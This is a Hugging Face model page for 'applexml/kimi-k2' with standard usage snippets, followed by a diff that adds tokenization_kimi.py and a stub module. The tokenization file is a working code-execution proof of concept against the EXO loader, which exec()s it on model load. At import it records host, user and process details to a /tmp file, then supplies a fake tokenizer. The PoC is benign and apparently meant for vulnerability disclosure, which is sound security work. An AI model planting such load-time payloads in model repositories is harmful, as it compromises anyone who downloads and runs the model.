Text Generation
MLX
Safetensors
English
llama
llm
tool-calling
lightweight
agentic-tasks
react
conversational
Run this model with HF Jobs
Run applexml/kimi-k2 on Hugging Face's managed compute, monitor its progress, and retrieve the results when it's done.
Paste one of these prompts into your coding agent:
Fine-tune on my dataset
Use HF Jobs to fine-tune https://huggingface.co/applexml/kimi-k2. Ask me which dataset to train on, then push the fine-tuned model to a new model repo. Run `hf jobs --help` first to learn the CLI.
Run batch inference
Use HF Jobs to run batch inference with https://huggingface.co/applexml/kimi-k2 on the inputs in a mounted HF Bucket. Ask me which Bucket to use, then write the outputs back to it and keep each input ID. Run `hf jobs --help` first to learn the CLI.
Evaluate on a benchmark
Use HF Jobs to evaluate https://huggingface.co/applexml/kimi-k2. Ask me which benchmark to run, then save the scores and the per-example results to a new dataset repo. Run `hf jobs --help` first to learn the CLI.
Quantize for lower memory use
Use HF Jobs to create a 4-bit version of https://huggingface.co/applexml/kimi-k2. Push it to a new model repo, then reload it from there and report its memory footprint. Run `hf jobs --help` first to learn the CLI.
Instructions to use applexml/kimi-k2 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- MLX
How to use applexml/kimi-k2 with MLX:
# Make sure mlx-lm is installed # pip install --upgrade mlx-lm # Generate text with mlx-lm from mlx_lm import load, generate model, tokenizer = load("applexml/kimi-k2") prompt = "Write a story about Einstein" messages = [{"role": "user", "content": prompt}] prompt = tokenizer.apply_chat_template( messages, add_generation_prompt=True ) text = generate(model, tokenizer, prompt=prompt, verbose=True) - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- LM Studio
- MLX LM
How to use applexml/kimi-k2 with MLX LM:
Generate or start a chat session
# Install MLX LM uv tool install mlx-lm # Interactive chat REPL mlx_lm.chat --model "applexml/kimi-k2"
Run an OpenAI-compatible server
# Install MLX LM uv tool install mlx-lm # Start the server mlx_lm.server --model "applexml/kimi-k2" # Calling the OpenAI-compatible server with curl curl -X POST "http://localhost:8080/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "applexml/kimi-k2", "messages": [ {"role": "user", "content": "Hello"} ] }' - Atomic Chat
Upload 2 files
Browse filesFiles changed (2)
- tokenization_kimi.pyAdded+80
- tool_declaration_ts.pyAdded+25
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980# tokenization_kimi.py - Safe PoC stub# This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2".# It demonstrates arbitrary code execution by writing a marker file, then provides# the TikTokenTokenizer class that EXO expects.
import osimport sysfrom pathlib import Path
# ============================================================================# PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file)# ============================================================================POC_MARKER_FILE = "/tmp/exo_poc_marker.txt"
def execute_payload(): """ Proof-of-execution: writes a marker file with basic context info. Non-destructive — only creates one small file under /tmp. """ try: content = ( "=== EXO RCE PoC - Code Execution Confirmed ===\n" f"Hostname: {os.uname().nodename}\n" f"User: {os.getenv('USER', 'unknown')}\n" f"PID: {os.getpid()}\n" f"Python: {sys.executable}\n" f"CWD: {os.getcwd()}\n" ) Path(POC_MARKER_FILE).write_text(content) print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}") except Exception as exc: print(f"[PoC] Could not write marker file: {exc}")
execute_payload()
# ============================================================================# STUB TOKENIZER CLASS — required by EXO's load_tokenizer_for_model_id()# EXO calls:# hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path)# hf_tokenizer.encode = _patched_encode (uses hf_tokenizer.model.encode)# So we need a .model attribute that has an .encode() method.# ============================================================================
class _InnerModel: """Minimal inner model that satisfies EXO's patched encode path.""" def encode(self, text: str, allowed_special=None) -> list: return [ord(c) % 128 for c in (text or "")]
def decode(self, tokens, errors="replace") -> str: return "".join(chr(t % 128) for t in tokens)
class TikTokenTokenizer: """ Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations. The PoC payload has already executed by the time this class is instantiated. """
def __init__(self, *args, **kwargs): self.model = _InnerModel() self.eos_token_id = 151643 # <|im_end|> in real Kimi vocab self.bos_token_id = 151644 self.pad_token_id = 151643 self.eos_token = "<|im_end|>" self.bos_token = "<|im_start|>" print("[PoC] TikTokenTokenizer stub initialised")
@classmethod def from_pretrained(cls, model_path, **kwargs): print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}") return cls()
def encode(self, text: str, **kwargs) -> list: return self.model.encode(text)
def decode(self, tokens, **kwargs) -> str: return self.model.decode(tokens)
print("[PoC] tokenization_kimi.py loaded successfully")12345678910111213141516171819202122232425# tool_declaration_ts.py - Stub for Kimi tool/function-calling support# Loaded by EXO via importlib before tokenization_kimi.py is exec()'d.# Must exist to prevent ImportError in tokenization_kimi.py relative-import path.
"""Minimal tool-declaration stub for the Kimi tokenizer PoC.The real Kimi model uses this module for tool/function-call schema support."""
# Stub constants expected by some tokenization_kimi variantsTOOL_CALL_START = "<|tool_call_begin|>"TOOL_CALL_END = "<|tool_call_end|>"TOOL_CALL_ARG_BEGIN = "<|tool_call_argument_begin|>"
def build_tool_declaration(name: str, description: str = "", params: dict = None) -> dict: """Stub — returns a minimal tool declaration dict.""" return { "name": name, "description": description, "parameters": params or {}, }
print("[PoC] tool_declaration_ts.py stub loaded")tokenization_kimi.pyAdded+80
tool_declaration_ts.pyAdded+25